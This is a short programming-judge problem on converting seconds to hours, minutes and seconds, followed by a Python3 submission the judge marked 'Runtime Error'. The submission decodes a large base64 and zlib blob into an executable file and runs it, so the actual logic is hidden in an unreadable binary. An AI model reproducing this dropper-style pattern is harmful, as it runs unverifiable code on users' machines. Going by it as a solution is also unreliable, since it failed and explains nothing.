Problem:
MathJax.Hub.Config({ tex2jax: { inlineMath: [["$","$"], ["\\(","\\)"]], processEscapes: true }});

Watch

Write a program which reads an integer $S$ [second] and converts it to $h:m:s$ where $h$, $m$, $s$ denote hours, minutes (less than 60) and seconds (less than 60) respectively.

Input

An integer $S$ is given in a line.

Output

Print $h$, $m$ and $s$ separated by ':'. You do not need to put '0' for a value, which consists of a digit.

Constraints

$0 \leq S \leq 86400$

Sample Input 1

46979

Sample Output 1

13:2:59

Solution in Python3 (judge verdict: Runtime Error)

import tempfile, os, subprocess, sys, base64, time, zlib

(_, file) = tempfile.mkstemp()
f = open(file, "wb")
f.write(zlib.decompress(base64.b64decode(b"""eNrtWm9wG8UV3ztZjmInkhICMYkTK4lCDVMLOzWpaAJIsQ3rjkNTHNO0xChKbMcO/lfpRBxIiMGB4aoK3JmWuJ1Mx+lQxu2nfCg006GDjDLITMlUgSGEgRZBk6mclMEzUKKEhOvb213pbmuZdNrpJ63n7un93vvtvn27e3vnu4NNLXfLkoR4kdGdiGjpEp+u+xi+xZ1zAcyL5sO5Ei1HpaBbDX4+5DPJLKuaSxvzs8BRAodXprpX9plkJfPjUjJIKzIWn0m+70AmiZArxyOxOldS1Llyh0m6WKVeq5knM14141Uzfy5TLLCU0L8Sdmxl/dvK+sVlI/NrNPjreT6ndOi/FzBggc8kTzD4hMD7LvDmoWsvTibvY+0VyssM6xeXfBxu7e3Zub7+1t6Omt6e/shQzZB3fc36ek94wLNOj8nJfO+5t82UxwoW8xI2B4i97PmFtz1Y9thfgm/+6vBvfQvrD4VPb5YYX0L/WSmHY/Es+OoC+HUF8PrcDDCX5QX8EeRjF+n+ejQYUXZ1B0NodyeVfcHe3oFdKBAgLoGwEgwpgb5gTz8gu/sG+hkSQPe0NG9qCKzzrPPcRjMm61mTWd4lPRd83CLLeuYTWwPTs1V0vEoNc4KUChfF5wm5dBlw2YBXG3CLAa814Mb6vQbcuC7xyD9sOGr92XIXwk/GFWumVQdP2BLmtGm3PQEu2tpDcHZU+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FpXqeF+J+w9sV5yvnuAtc/o7TMsi9tXZO7D5rz+vkvjdpGew==""")))
f.close()
os.chmod(file, 0o755)
os.system("cp %s ./run" % file)
if os.system("./run") != 0:
  print(1/0)